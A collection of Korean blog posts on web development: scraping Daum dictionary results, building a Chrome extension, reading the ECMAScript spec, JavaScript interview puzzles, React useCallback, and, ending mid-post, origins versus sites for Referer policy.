          class="btn_voice btn_listen"
        >
          <span class="img_comm ico_voice">듣기</span>
        </a>
      </span>
    </div>
  </div>
</div>
```

그리고 더 깊게 내려가서, 여기에서 결과 값은 `ul` 태그에 `li` 안에 있다.

```html
<ul class="list_search">
  <li>
    <span class="num_search">1.</span
    ><span class="txt_search"
      >(<daum:word id="kew000044406">시간</daum:word>)<daum:word
        id="kew000057612"
        >이</daum:word
      >
      <daum:word id="kew000003279">걸리다</daum:word></span
    >
  </li>
  <li>
    <span class="num_search">2.</span
    ><span class="txt_search"
      ><daum:word id="kew000000776">가지다</daum:word></span
    >
  </li>
  <li>
    <span class="num_search">3.</span
    ><span class="txt_search"
      ><daum:word id="kew000029093">받다</daum:word></span
    >
  </li>
  <li>
    <span class="num_search">4.</span
    ><span class="txt_search"
      ><daum:word id="kew000069541">찍다</daum:word></span
    >
  </li>
  <li>
    <span class="num_search">5.</span
    ><span class="txt_search"
      ><daum:word id="kew000018535">데려가다</daum:word></span
    >
  </li>
</ul>
```

`<li>` 내부에 있는 것들이 하나 하나 단어 뜻을 의미하고 있음을 알 수 있다.

## 3. 파싱하기

어차피 크롬에서 쓸 거라 별도의 `fetch` 라이브러리는 설치하지 않았다.

```javascript
fetch(`https://dic.daum.net/search.do?q=${word}`).then((response) => {
  if (response.status === 200) {
    // text로 읽어온다
    response.text().then((text) => {
      const parser = new DOMParser()
      // DOMParser로 변환
      const daumDocument = parser.parseFromString(text, 'text/html')
      // searchbox 읽어오기
      const searchResults = daumDocument.querySelector('.search_box')

      // searchResults가 있다면 검색 결과가 있다는 뜻
      if (searchResults) {
        // li 태그를 일괄로 읽어온다.
        const searchLi = searchResults.getElementsByTagName('li')

        // getElementsByTagName 인 Iterable 하지 않아서
        // spread operator로 iterable하게 만들어준다.
        const results = [...searchLi].map((li) =>
          // numbering을 제외한 순수 검색 결과는 text_Search 안에 있다.
          [...li.getElementsByClassName('txt_search')]
            //  <daum:word /> 류의 모든 태그를 제거
            .map((txt) => txt.innerHTML.replace(/(<([^>]+)>)/gi, ''))
            .join(''),
        )

        return results
      }
    })
  }
})
```

## 4. 결과

`window`로 검색했을 경우

> ["창문", "창", "윈도", "창구"]

[실제 검색 결과](https://dic.daum.net/search.do?q=window)

![crawling2](./images/daum-dict-crawling2.png)

---

Source: https://yceffort.kr/2020/09/create-chrome-extension.md
Title: 크롬 익스텐션 만들기
Description: 필요한 기능 하나 쯤 만들어서 사용해보자.
Date: 2020-09-25
Tags: browser, javascript

크롬 익스텐션은 단순히 js, html, css로 이루어져있기 때문에, 몇가지 API를 추가한다면 크롬에서 사용할 수 있는 익스텐션을 만들 수 있다.

## Manifest.json 만들기

크롬 익스텐션용 `package.json`이라고 생각하면 좋을 것 같다.

```json
{
  "manifest_version": 2,
  "name": "Demo Extension",
  "version": "1.0.0",
  "description": "Sample description",
  "short_name": "Short Name",
  "permissions": ["activeTab", "declarativeContent", "storage", "<all_urls>"],
  "background": {
    "scripts": ["background.js"]
  },
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "css": ["background.css"],
      "js": ["contentscript.js"]
    }
  ],
  "browser_action": {
    "default_title": "Does a thing when you do a thing",
    "default_popup": "popup.html",
    "default_icon": {
      "16": "icons/icon16.png",
      "32": "icons/icon32.png"
    }
  },
  "icons": {
    "16": "icons/icon16.png",
    "32": "icons/icon32.png",
    "48": "icons/icon48.png",
    "128": "icons/icon128.png"
  }
}
```

여기에서 몇가지 대표적인 내용을 살펴보자.

- `manifest_version`: 그냥 2라고 생각하면 된다. 1 버전은 크롬 18 이후로 부터는 deprecated 되었다.
- `name`: 이름이다.
- `description`: 설명이다.
- `version`: 익스텐션의 버전이다.
- `short_name`: optional 필드
- `permission`: 어떤 권한이 필요한지를 나타낸다. 획득 가능한 권한들은 [여기](https://developer.chrome.com/extensions/declare_permissions)에 나와 있다. 대표적인 권한 들은 아래와 같다. 예를 들어 `content_scripts`로 현재 웹 페이지의 DOM을 읽어 올 수 있다.

`browser_action`을 사용하여 주소 바 옆에 작은 아이콘을 만들 수 있고, 이를 클릭 했을 때 html이 나오게 할 수 있다.

```json
"browser_action": {
   "default_title": "Does a thing when you do a thing",
   "default_popup": "popup.html",
   "default_icon": {
     "16": "icons/icon16.png",
     "32": "icons/icon32.png"
   }
 },
```

앞서 `content_scripts`로 현재 DOM을 읽어올 수 있다고 했지만, 여기에서 사용할 수 있는 api는 한정적이다. 따라서 다양한 api를 사용하기 위해서는 `background`를 추가하여 작업해야 한다. `content_script`로 DOM을 읽어오고, 이를 `background.js`로 보내서 필요한 API 작업을 한다고 보면 된다.

## 흐름

`content_script`에서는 DOM과 관련된 처리를 하고, 그와 관련된 비즈니스 로직은 `background`에서 실행하면 된다.

`conten_script.js`

```javascript
document.ondblclick = function () {
  // 블록처리된 문자
  const selectedMessage = window.getSelection().toString()

  // 메시지를 보낸다.
  chrome.runtime.sendMessage(
    {word: selectedMessage},
    async function (response) {
      console.log(response)
    },
  )
}
```

`background.js`

```javascript
chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
  const {word} = request

  // do something..
  // async 처리를 잘못하는 것 같다.
  // promise. then()으로 처리하고,
  // 마지막에 꼭 return true를 해줘야 한다.

  return true
})
```

---

Source: https://yceffort.kr/2020/09/understanding-ecmascript-1.md
Title: ECMAScript 명세 읽어보기 (1)
Description: 가끔 문서를 볼 때 마다 도망쳤던 그 곳
Date: 2020-09-24
Tags: javascript, typescript

## Table of Contents

## 서두

```javascript
const o = {foo: 1}
o.hasOwnProperty('foo') // true
o.hasOwnProperty('bar') // false
```

자바스크립트에 대한 모든 지식이 다 없다는 가정하에, `o`에는 분명 `hasOwnProperty`라는 속성이 없다는 것을 알 수 있다. 이를 찾기 위해서는 프로토타입 체인을 타고 올라가야 한다. `o`의 프로토타입은 `Object.prototype`이다.

`Object.prototype.hasOwnProperty`가 어떻게 작동되는지 알기 위해서, 이제 문서의 내용을 보자.

https://tc39.es/ecma262/#sec-object.prototype.hasownproperty

> When the hasOwnProperty method is called with argument V, the following steps are taken:
>
> 1. Let P be ? ToPropertyKey(V).
> 2. Let O be ? ToObject(this value).
> 3. Return ? HasOwnProperty(O, P).
>
> NOTE
> The ordering of steps 1 and 2 is chosen to ensure that any exception that would have been thrown by step 1 in previous editions of this specification will continue to be thrown even if the this value is undefined or null.

그리고 `hasOwnProperty(O, P)`를 따라가면

> The abstract operation HasOwnProperty takes arguments O (an Object) and P (a property key) and returns a completion record which, if its [[Type]] is normal, has a [[Value]] which is a Boolean. It is used to determine whether an object has an own property with the specified property key. It performs the following steps when called:

> 1. Assert: Type(O) is Object.
> 2. Assert: IsPropertyKey(P) is true.
> 3. Let desc be ? O.[[GetOwnProperty]](P).
> 4. If desc is undefined, return false.
> 5. Return true.

여기서 이제 몇가지 질문들이 생긴다.

- `abstract operation`?
- `[[]]` 안에 있는 것은 무엇일까?
- 함수 앞에 `?`는 무엇일까?
- `asserts`는 무슨 뜻일까?

## 언어 타입과 명세 타입

이 문서에는 `undefined` `true` `false`와 같이 이미 익숙한 개념들이 존재한다. 이들은 [언어 값](https://tc39.es/ecma262/#sec-ecmascript-language-types)이라고하며, 언어 타입의 값을 의미하며 이들은 명세에도 나타나 있다.

이러한 언어의 값에는 내부적으로, `true`와 `false` 같은 값이 존재한다. 반대로, 자바스크립트 엔진이 일반적으로 이해하지 못하는 값이 존재할 수 있다. 예를 들어, 자바스크립트 엔진이 C++로 작성되어 있다고 생각해본다면, C++의 `true` `false` 또한 존재할 것이다. (그리고 이들은 정확히 자바스크립트 값과 매칭되지 않는다.)

이러한 언어타입에 추가로, 명세타입이란 것이 존재한다. 이러한 명세타입은 자바스크립트 언어에는 없지만, 문서(명세)에는 존재하는 타입을 의미한다. 자바스크립트 엔진이 이러한 것들을 구현할 필요가 없다. 본 아티클에서는, 이러한 명세 타입중의 하나로 `Record`에 대해 알아볼 것이다.

## Abstract Operation

[Abstract Operation](https://tc39.es/ecma262/#sec-abstract-operations)이란 ECMA 스펙에서 정의한 함수다. 이들은 명세를 간결하게 작성할 목적으로 정의된다. 자바스크립트 엔진은 엔진 내부에 이들을 별도의 기능으로 구현할 필요가 없다. 이것들은 자바스크립트에서 직접 호출될 수 없다.

## 인터널 슬롯과 인터널 메소드

[인터널 슬롯과 인터널 메소드](https://tc39.es/ecma262/#sec-object-internal-methods-and-internal-slots)는 `[[]]`안에 있는 이름을 의미한다.

- 인터널 슬롯은 자바스크립트 객체의 데이터 멤버이거나 특정 타입을 의미한다. 이들은 객체의 상태를 저장하는데 사용된다.
- 인터널 메소드는 자바스크립트 객체의 멤버 함수다.

얘를 들어, 모든 자바스크립트 객체는 인터널 슬롯 `[[Prototype]]`을, 그리고 인터널 메소드인 `[[GetOwnProperty]]`를 가지고 있다.

인터널 슬롯과 인터널 메소드는 모두 자바스크립트에서 접근 가능한 것이 아니다. 예를 들어서 `o.[[prototype]]`이나 `o.[[GetOwnProperty]]()` 등을 할수가 없다. 자바스크립트 엔진은 자체적으로 내부 사용을 위해서 구현할 수는 있지만, 그럴 필요는 없다.

때때로, 인터널 메소드는 비슷한 이름을 가진 abstract operation에 작업을 위임하기도한다. 그 예가 바로 `[[GetOwnProperty]]`다.

> `[[GetOwnProperty]](P)`

> When the [[GetOwnProperty]] internal method of O is called with property key P, the following steps are taken:

> 1. Return ! OrdinaryGetOwnProperty(O, P).

`OrdinaryGetOwnProperty`는 어떤 객체와도 관련된 것이 아니기 때문에 인터널 메소드가 아니다. 대신, 객채는 여기에 파라미터로 넘어가서 작동을 하게 된다.

`OrdinaryGetOwnProperty`는 일반적인 객체에서 작동되기 때문에 `ordinary`라고 불리운다. ECMAScript 객체는 `ordinary`하거나 `exotic`할 수 있다. `Ordinary` 객체는 필수 인터널 메소드라고 하는 일련의 메소드들의 기본 동작을 갖추고 있어야 한다. 만약에 이러한 기본동작이 없다면, `Exotic`한 것이다.

가장 잘 알려진 `exotic` 객체가 바로 `Array`이다. array는 `length`라는 속성을 가지고 있는데, 이는 일반적인 방식으로 작동하지 않는다. `length`에 값을 부여하여 `array`의 객체를 삭제할 수가 있기 때문이다.

[필수 인터널 메소드의 목록은 다음과 같다.](https://tc39.es/ecma262/#table-5)

## Completion Records

`!`와 `?`를 사용하는 이유를 알기 위해서는, [Completion Records](https://tc39.es/ecma262/#sec-completion-record-specification-type)에 대해서 이해 해야 된다.

Completion Record는 명세 타입이다. (명세의 목적으로만 쓰인다) 자바스크립트 엔진은 이를 실행하는 인터널 데이터 타입을 가질 필요가 없다.

`Completion Record`는 정해진 필드 목록을 가진 `record`이다. 여기서 정해진 필드란 아래 세개를 의미한다.

| 이름         | 설명                                                                                             |
| ------------ | ------------------------------------------------------------------------------------------------ |
| `[[Type]]`   | `normal` `break` `continue` `return` `throw` 중 하나. `normal` 외 모든 것들은 비정상적인 종료다. |
| `[[Value]]`  | 종료로 인해 만들어진 값. 함수의 return 을 통해 나온 값이나, exception을 의미한다.                |
| `[[Target]]` | Used for directed control transfers                                                              |

모든 abstract operation은 암묵적으로 `Completion Record`를 리턴한다. 단순히 Boolean을 리턴하는 abstract operation이라고 할지라도, 암묵적으로 `Completion Record`의 `normal` 타입으로 래핑되어 있다.

만약 exception이 발생하면, `[[Type]]`이 `throw`로, `[[Value]]`로는 exception 객체가 있는 Completion Record가 리턴되었다는 것을 의미한다.

[ReturnIfAbrupt(argument)](https://tc39.es/ecma262/#sec-returnifabrupt) 란 다음 을 의미한다.

1. `argument`가 예외라면, `argment`를 리턴한다.
2. `argument`를 `argument`로 설정한다. `[[Value]]`

즉, 비정상적으로 종료되었을 경우, 즉시 리턴을 하게 된다. 그렇지 않고 정상적인 케이스의 경우에는, `Completion Record`에서 값을 추출한다.

`ReturnIfAbrupt`가 함수 호출과 비슷해보이지만, 사실은 그렇지 않다. `ReturnIfAbrupt`는 다음과 같이 사용될 수 있다.

> 1. obj가 Foo() 라고 가정하자. (obj는 `Completion Record`다.)
> 2. ReturnIfAbrupt(obj)
> 3. Bar(obj) 만약 여기까지 도달했다면, obj는 Completion Record에서 추출된 값이다.

자 이제, `?`로 돌아오자. `? Foo()`는 사실 `ReturnIfAbrupt((Foo()))` 와 동일하다. 이 말인 즉슨 매번 오류 처리 코드를 명시적으로 작성할 필요가 없다. 를 의미한다.

`Let Val be ! Foo()`은 다음을 의미한다.

1. val 은 Foo() 이다.
2. val은 비정상 종료가 아니라고 가정한다.
3. val을 `val.[[Value]]` 로 설정한다.

그래서, 결과적으로 `Object.prototype.hasOwnProperty`의 명세는 아래와 같이 해석 가능하다.

### `Object.prototype.hasOwnProperty` 명세

1. Let P be ? ToPropertyKey(V).
2. Let O be ? ToObject(this value).
3. Return ? HasOwnProperty(O, P).

### `Object.prototype.hasOwnProperty` 해석

1. P는 `ToPropertyKey(V)`다.
2. P가 비정상 종료를 한다면, 그대로 P를 리턴한다.
3. P를 `P.[[Value]]` 로 설정한다.
4. O는 `ToObject(this value)` 다.
5. O가 비정상 종료를 한다면, 그대로 O를 리턴한다.
6. O를 `O.[[Value]]`로 설정한다.
7. temp는 `HasOwnProperty(O, P)`다.
8. temp가 비정상 종료를 한다면, temp를 리턴한다.
9. temp를 `temp.[[Value]]`로 설정한다.
10. NormalCompletion(temp)를 리턴한다.

그리고 `hasOwnProperty`는 아래와 같다.

### `hasOwnProperty` 명세

1. Assert: Type(O) is Object.
2. Assert: IsPropertyKey(P) is true.
3. Let desc be ? O.[[GetOwnProperty]](P).
4. If desc is undefined, return false.
5. Return true.

### `hasOwnProperty` 해석

1. 가정: `Type(O)`는 객체다.
2. 가정: `IsPropertyKey(P)`는 참이다.
3. `desc`는 `O.[[GetOwnProperty]](P)`이다.
4. `desc`가 비정상적으로 끝나면, `desc`를 리턴한다.
5. `desc`를 `desc.[[Value]]`로 설정한다.
6. `desc`가 `undefined`면, `NormalCompletion(false)`를 리턴한다.
7. `NormalCompletion(true)`를 리턴한다.

인터널 메소드 `[[GetOwnProperty]]`를 `!` 없이 표현하면 아래와 같다.

`O.[[GetOwnProperty]]`

1. `temp`는 `OrdinaryGetOwnProperty(O, P)`다.
2. `temp`는 비정상 종료되지 않는다고 가정한다.
3. `temp`는 `temp.[[Value]]`다.
4. `NormalCompletion(temp)`를 리턴한다.

여기에서는 `temp`라고 하는 완전히 새로운 변수를 만들어서 다른 것과 충돌 되지 않도록 하였다.

또한 `return`문이 Completion Record 가 아닌 다른 것을 리턴할때, 암묵적으로 이것이 `NormalCompletion` 으로 감싸져서 리턴된다는 사실을 이용했다.

그렇다면 `Return ? Foo()`는 무엇일까?

1. `temp` 는 `Foo()`다.
2. `temp`가 비정상적으로 종료되면, temp를 리턴한다.
3. `temp`를 `temp.[[Value]]`로 설정한다.
4. `NormalCompletion(temp)`를 리턴한다.

결국 이는 `Return Foo()`와 같으며, 비정상/정상 케이스에서 모두 동일하게 작동한다.

`Return ? Foo()` 는 단순히 `Foo`가 Completion Record를 반환한다는 것을 보다 명확하게 표현하기 위한 장치일 뿐이다.

## Asserts

명세 내의 `Asserts`는 (이 문서에서는 가정이라고 번역) 알고리즘의 불변의 조건을 강조하는 것이다. 이는 오로지 명확성을 위해 추가한 것으로, 구현을 위해서 무언가 추가를 해야하는 것은 아니다. 구현상에서는 이를 확인할 필요가 없다.

## 다음으로

`abstract operation`은 밑에 그림에서 보다시피, 다른 `abstract operation` 위임하는 경우가 있다. 그러나 이 글을 바탕으로 이들이 무엇을 하는지 알아낼 수 있어야 한다. 우리는 또한 또다른 명세 유형인, `Property Descriptors`에 대해 알아볼 것이다.

---

Source: https://yceffort.kr/2020/09/tricky-javascript-interview-questions.md
Title: 재밌는 자바스크립트 면접 문제
Description: 뭔가 이상한 자바스크립트 면접 문제는 재밌다. 단 내가 구직 중이 아닐 때만.
Date: 2020-09-23
Tags: javascript

## 문제 1.

```javascript
function foo() {
  let a = (b = 0)
  a++
  return a
}

foo()

typeof a // ??
typeof b // ??
```

### 정답

일단 `a`는 함수내에 선언된 `let`변수 이고, 전역 scope에 선언되지 않았기 때문에 당연히 undefined다.

문제는 `b`인데, 이게 전역변수에 선언 되었을까, 아니면 앞에 let이 있었으니까 `b`도 `let` scope를 따라갈까? 정답은 전역 객체를 따라간다는 것이다. 따라서 `b`는 `number`타입이 된다. 위 코드는 아래와 같다.

```javascript
function foo() {
  let a
  window.b = 0
  a = window.b
  a++
  return a
}
```

## 문제 2.

```javascript
const clothes = ['jacket', 't-shirt']
clothes.length = 0

clothes[0] // ??
```

### 정답

정답을 알기 위해서는, 배열 객체의 `length`의 동작을 알아야 한다.

http://www.ecma-international.org/ecma-262/6.0/#sec-properties-of-array-instances-length

> The length property of an Array instance is a data property whose value is always numerically greater than the name of every configurable own property whose name is an array index.

> The length property initially has the attributes `{ [[Writable]]: true, [[Enumerable]]: false, [[Configurable]]: false }`.

> NOTE Reducing the value of the length property has the side-effect of deleting own array elements whose array index is between the old and new length values. However, non-configurable properties can not be deleted. Attempting to set the length property of an Array object to a value that is numerically less than or equal to the largest numeric own property name of an existing non-configurable array indexed property of the array will result in the length being set to a numeric value that is one greater than that non-configurable numeric own property name.

배열의 길이를 원래 값보다 줄이는 행위는 배열의 요소를 줄이는 역할을 한다. (????) 기존 길이에서 새로운 줄어든 길이만큼 뒤에서 배열의 요소들이 사라진다. 반대로 큰 값을 넣으면 `empty`가 그 만큼 들어간다. 따라서 정답은 undefined다.

## 문제 3

```javascript
const length = 4
const numbers = []
for (var i = 0; i < length; i++);
{
  //잘보면 여기에 ; 가 들어가 있다.
  numbers.push(i + 1)
}

numbers // ??
```

### 정답

`;`은 null statement다. null statement란 empty statment 이며, 이는 곧 아무것도 하지 않는 다는 것을 의미한다. 위 코드는 아래와 같다.

```javascript
const length = 4
const numbers = []
var i
for (i = 0; i < length; i++) {
  // 암것도 안한다.
}
{
  // 그냥 스코프를 생성하는 블록일 뿐
  numbers.push(i + 1)
}

numbers
;[5]
```

## 문제 4

```javascript
function arrayFromValue(item) {
  return
  ;[item]
}

arrayFromValue(10) // ???
```

### 정답

단순히 return 뒤애 새줄이 생겼고, 그 뒤에 `[item]`이 존재한다. 이 경우, 자바스크립트는 return 뒤에 자동으로 `;`을 붙여버리게 된다. 따라서 그 뒷줄에 있는 코드는 아무런 역할을 하지 않는다. (물론 lint에 걸리는게 정상이겠지만) 따라서 답은 `undefined`다.

## 문제 5

```javascript
let i
for (i = 0; i < 3; i++) {
  const log = () => {
    console.log(i)
  }
  setTimeout(log, 100)
}
```

### 정답

자바스크립트 인터뷰 문제를 공부해보다보면 수도없이 나오는 클로저 문제다.

1. for문이 세번돌고, 매번 그때마다 `i`의 값을 확인하는 `log`함수가 생성된다. 그리고 그 `log`를 실행하는 `setTimeOut`이 태스크 큐 대기열에 들어가게 된다.
2. for문이 끝나면, `i`는 3이 되어 있다.
3. for문이 종료 된 뒤에 `setTimeOut`을 실행하려고 `i`를 참조하면, `i`는 3이 되어있다.

따라서 정답은 3이 세번 나온다 이다.

```javascript
for (let i = 0; i < 3; i++) {
  const log = () => {
    console.log(i)
  }
  setTimeout(log, 1000)
}
```

## 문제 6

```javascript
0.1 + 0.2 === 0.3
```

### 정답

정답은 `false`다 .

```javascript
0.1 + 0.2 // 0.30000000000000004
```

이에 대한 흥미로운 사이트가 있는데, 바로 https://0.30000000000000004.com/ 이다. ㅋㅋㅋㅋㅋㅋㅋㅋ

소수점도 2진법으로 코딩되어 있는데, 0.1은 정확히 0.1과 같은 수가 아니고, 2진법으로 가장 가까운 0.1이 표현되어 있는 것이다. 정확히는, 자바스크립트는 숫자를 모두 64비트 IEEE 754 형식으로 다루는데, 콘솔에 입력해서 0.1이 제대로 보이는 것은, 그것을 앞선 형식에 따라 2진법으로 바꾸고, 다시 그 결과를 10진법으로 보여주는 것이다.

## 문제 7

```javascript
myVar // ???
myConst // ???

var myVar = 'value'
const myConst = 3.14
```

### 정답

https://yceffort.kr/2020/05/var-let-const-hoisting/ 에서도 다뤘듯이, `let`과 `const`는 TDZ에 들어가게 된다. 따라서 첫번째 줄에서는 undefined, 2번째 줄에서는 에러가 날 것이다.

```javascript
var myVar // TDZ에 들어가지않고, 호이스팅 된다.
const myConst // error TDZ에 들어갔으며, const의 경우에는 초기화가 되어야 한다. 따라서
// 따라서 Identifier 'myConst' has already been declared 에러가 날 것이다.
```

5, 6, 7은 솔직히 많이 봐서 별로 재미가 없지만, 앞에 4문제는 좀 재밌었다.

더 변태 같은 문제를 원하면 이전 포스트 https://yceffort.kr/2020/05/10-javascript-quiz/ 를 참고해보자.

---

Source: https://yceffort.kr/2020/09/guide-to-usecallback.md
Title: useCallback 사용 가이드
Description: 아직도 useCallback으로 고통 받다니
Date: 2020-09-22
Tags: react

조금 부끄러운 이야기지만, 1년이 넘도록 리액트를 쓰면서 아직까지도 `useCallback`에 대한 정확한 개념이 서 있지 않다. 그래, `useCallback`이 함수를 재사용하는 걸 알겠는데, 그래서 어쩌라고? 라는 나를 위해서 다시한번 정리해본다.

조금 다른 미친 이야기로 넘어와서, 만약 모든 콜백 함수를 memoize 한다면, callback 함수를 사용하는 모든 자식 컴포넌트들이 불필요한 리렌더링을 막을 수 있지 않을까? 당연히 이 글을 읽는 훌륭한 개발자 분들은 말도 안되는 것임을 알 것이고, 이는 성능에 악 영향을, 그리고 컴포넌트를 느리게 한다는 것을 알 것이다.

본론으로 들어가기전에, 함수의 동일성 체크에 대해 알아보자.

```javascript
function sum() {
  return (a, b) => a + b
}

const sum1 = sum()
const sum2 = sum()

sum1(1, 2) // 3
sum2(1, 2) // 3

sum1 === sum2 // false
sum2 === sum2 // true
```

`sum1`과 `sum2`는 동일한 코드 소스를 공유하고 있지만, 리턴하는 오브젝트가 다르다. 따라서 두 개를 비고 하면 `false`를 리턴한다. 당연한 이야기이지만, object는 오로지 자기 자신만 동일하다.

이와 비슷하게, 리액트 컴포넌트에서도 동일한 소스코드로 다른 함수 인스턴스가 생성되는 경우가 종종 있다.

```javascript
import React from 'react'

function MyComponent() {
  // handleClick 은 렌더링 될 때 마다 새로 생성된다.
  const handleClick = () => {
    console.log('Clicked!')
  }

  // ...
}
```

`handleClick`은 `MyComponent`가 새롭게 렌더링 될 때마다, 다른 함수 오브젝트가 된다. 다행히도, 인라인 함수를 만드는 비용은 그다지 비싸지 않아서, 매번 새롭게 만드는 것은 큰 비용이 아니다. 다시 말해, 컴포넌트 내부에 있는 몇개의 인라인 함수정도는 괜찮다.

그러나, 이와 반대로 한가지 함수 인스턴스를 유지해야 하는 경우가 있다.

1. `React.memo()` 또는 `shouldComponentUpdate)` 내부에 있는 컴포넌트가 callback prop을 받을 때
2. 함수가 다른 hooks 함수의 dependency로 사용될 때 `useEffect(..., [callback])`

이러한 경우에 `useCallback`이 빛을 발한다. `deps`에 같은 값이 주어질 때마다, hook은 렌더링 시에 완전히 같은 함수 인스턴스를 리턴한다.

```javascript
import React, {useCallback} from 'react'

function MyComponent() {
  // handleClick 은 완전히 같은 오브젝트다.
  const handleClick = useCallback(() => {
    console.log('Clicked!')
  }, [])

  // ...
}
```

`handleClick` 변수는 `MyComponent`가 렌더링 될 때마다 같은 콜백 함수를 가진 오브젝트를 갖게 된다.

컴포넌트가 큰 사이즈의 items을 렌더링 한다고 가정해보자.

```javascript
import React from 'react'
import useSearch from './fetch-items'

function BigList({term, handleClick}) {
  const items = useSearch(term)

  const element = (item) => <div onClick={handleClick}>{item}</div>

  return <div>{items.map(element)}</div>
}

export default React.memo(BigList)
```

`items`가 정말 많다고 가정하고, 재 렌더링을 방지하지 위하여 `React.memo`를 사용했다. 만약 `BigList`에서 아이템을 클릭할 때 실행할 핸들러 함수가 필요하다고 가정해보자.

```javascript
import React, {useCallback} from 'react'

export default function Parent({term}) {
  const handleClick = useCallback(
    (item) => {
      console.log('You clicked ', item)
    },
    [term],
  )

  return <BigList term={term} handleClick={handleClick} />
}
```

이렇게 하게 되면, `handleClick`은 `useCallback()`에 memozied 된다. `term`의 값이 같은 이상, `useCallback()`은 항상 같은 함수 인스턴스를 반환할 것이다.

심지어 `Parent`가 리렌더링 되더라도,`BigList`의 memoziation이 깨지지 않은 이상 항상 같은 함수를 리턴할 것이다.

이제 다시 앞선 예제로 와보자.

```javascript
import React, {useCallback} from 'react'

function MyComponent() {
  const handleClick = useCallback(() => {
    // handle the click event
  }, [])

  return <MyChild onClick={handleClick} />
}
```

이 경우는 어떤가? `MyComponent`가 렌더링 될 때 마다 `useCallback()` 훅이 호출 될 것이다. 내부적으로 리액트는 같은 오브젝트 함수를 리턴하기 위해 노력할 것이다. 그렇다고 할지라도, 인라인 함수는 여전히 매번 렌더링 될 때마다 만들어진다. 왜냐하면, `MyComponent`는 특별히 memozied 되지 않았기 때문에, 그 자체 만으로도 이미 매번 렌더링을 하게 된다.

`useCallback()`이 같은 함수 인스턴스를 보장해주지만, 이는 아무런 이득이 없다. 왜냐하면 최적화의 비용이 최적화 하지 않는 비용보다 더 크기 때문이다. 또한 코드의 복잡성도 증가하게 된다. `useCallback()`의 deps에 실제로 memozied할 callback에서 사용하는 것들을 반드시 넣어두어야 한다.

모든 최적화는 복잡성을 증가시킨다. 섣불리 추가된 최적화는 최적화된 코드를 여러번 변경할 수 있기 때문에 위험하다. [성능을 최적화 하기 전에 문제를 프로파일링 해야 한다.](https://wiki.c2.com/?ProfileBeforeOptimizing) `useCallback`의 적절한 예시는 메모화된 자식 컴포넌트에 제공되는 콜백 함수를 memozie하는 것이다.

---

Source: https://yceffort.kr/2020/09/referer-and-referrer-policy.md
Title: Referer와 Referer-Policy를 위한 가이드
Description: 웹 어플리케이션에서 request를 받기 위한 최적의 Referer와 Referrer 정책
Date: 2020-09-22
Tags: security, web-performance

## Table of Contents

## same-site와 same-origin의 차이

### Origin

https://yceffort.kr:443

- `origin`: 은 `scheme` (`protocol`로도 알려진)와 `host name`, 그리고 `port`의 조합을 의미한다. 예를 들어 https://yceffort.kr:443/2020/07/docker-study-2/ 의 origin은 https://yceffort.kr:443 이다.
- `scheme`: `https://`
- `host name`: `yceffort.kr`
- `port`: 443

https://yceffort.kr:443 를 기준으로 비교했을 때,

| Origin                       | 비교결과       | 이유                                                   |
| ---------------------------- | -------------- | ------------------------------------------------------ |
| https://fake.kr:443          | `cross-origin` | 도메인이 다르다.                                       |
| https://www.yceffort.kr:443  | `cross-origin` | 서브도메인이 다르다.                                   |
| https://blog.yceffort.kr:443 | `cross-origin` | 서브도메인이 다르다.                                   |
| http://yceffort.kr:443       | `cross-origin` | scheme이 다르다.                                       |
| http://yceffort.kr:80        | `cross-origin` | port가 다르다.                                         |
| https://yceffort.kr:443      | `same-origin`  | 완전히 같다.                                           |
| https://yceffort.kr          | `same-origin`  | 포트가 없지만, https의 기본포트 443이 있다고 간주한다. |

### Site

탑 레벨 도메인 (TLD), 즉 `.com`과 `.org`등은 [Root Zone Database](https://www.iana.org/domains/root/db)에 등록되어 있다. 내 블로그 주소를 기준으로, `site`는 TLD와 domain의 조합이다. 따라서 내 블로그의 `site`는 `yceffort.kr`이다.

그러나, `.co.kr`이나 `.github.io`와 같은 주소도 더러 있는 것을 볼 수 있다. 이들의 TLD는 `.kr` `.io`인데, 단순히 TLD만으로 이들의 도메인을 결정할 수 있는 방법이 없다. 그래서 `eTLD` (effective Top Level Domain) 리스트가 만들어졌다. [eTLD](https://publicsuffix.org/list/)

예를 들어, 내 구 블로그 주소인 https://yceffort.github.io 를 기준으로 살펴보자.

- `TLD`: `.io`
- `eTLD`: `.github.io`
- `eTLD+1`: `yceffort.github.io` (site)

https://yceffort.kr:443 를 기준으로 비교했을 때,

| Origin                       | 비교결과     | 이유                            |
| ---------------------------- | ------------ | ------------------------------- |
| https://fake.kr:443          | `cross-site` | 도메인이 다르다.                |
| https://blog.yceffort.kr:443 | `same-site`  | 서브도메인이 다르지만 상관없다. |
| http://yceffort.kr:443       | `same-site`  | scheme이 다르지만 상관없다.     |
| https://yceffort.kr:80       | `same-site`  | port가 다르지만 상관없다.       |
| https://yceffort.kr:443      | `same-site`  | 완전히 같다.                    |
| https://yceffort.kr          | `same-site`  | port가 없지만 상관없다.         |

위에서 보다시피 `same-site`는 scheme를 무시하고 있지만, http의 취약점을 방어하기 위해 조금 더 엄격한 방식으로 구별하는 방식이 있다. 이를 [schemeful same-site](https://github.com/sbingler/schemeful-same-site/)라고 한다. 이 경우 http://yceffort.kr과 https://yceffort.kr 는 스키마가 다르므로 다른 사이트로 취급한다.

| Origin                       | 비교결과              | 이유                            |
| ---------------------------- | --------------------- | ------------------------------- |
| https://fake.kr:443          | `cross-site`          | 도메인이 다르다.                |
| https://blog.yceffort.kr:443 | `schemeful-same-site` | 서브도메인이 다르지만 상관없다. |
| http://yceffort.kr:443       | `cross-site`          | scheme이 다르다.                |
| https://yceffort.kr:80       | `schemeful-same-site` | port가 다르지만 상관없다.       |
| https://yceffort.kr:443      | `same-site`           | 완전히 같다.                    |
| https://yceffort.kr          | `schemeful-same-site` | port가 없지만 상관없다.         |

## Referer와 Referrer-Policy 101

> 맨 처음 포스팅을 할 때 이상하다고 느낀 것은 Referer와 Referrer-policy에서 Referrer의 스펠링이 다른 것이었다. (틀리다고 계속 에러메시지가 떴다.) 알고보니 오타가 고대로 스펙이 되버린 것이었다.

> The misspelling of referrer originated in the original proposal by computer scientist Phillip Hallam-Baker to incorporate the field into the HTTP specification.[4] The misspelling was set in stone by the time of its incorporation into the Request for Comments standards document RFC 1945; document co-author Roy Fielding has remarked that neither "referrer" nor the misspelling "referer" were recognized by the standard Unix spell checker of the period.[5] "Referer" has since become a widely used spelling in the industry when discussing HTTP referrers; usage of the misspelling is not universal, though, as the correct spelling "referrer" is used in some web specifications such as the Document Object Model.

https://en.wikipedia.org/wiki/HTTP_referer

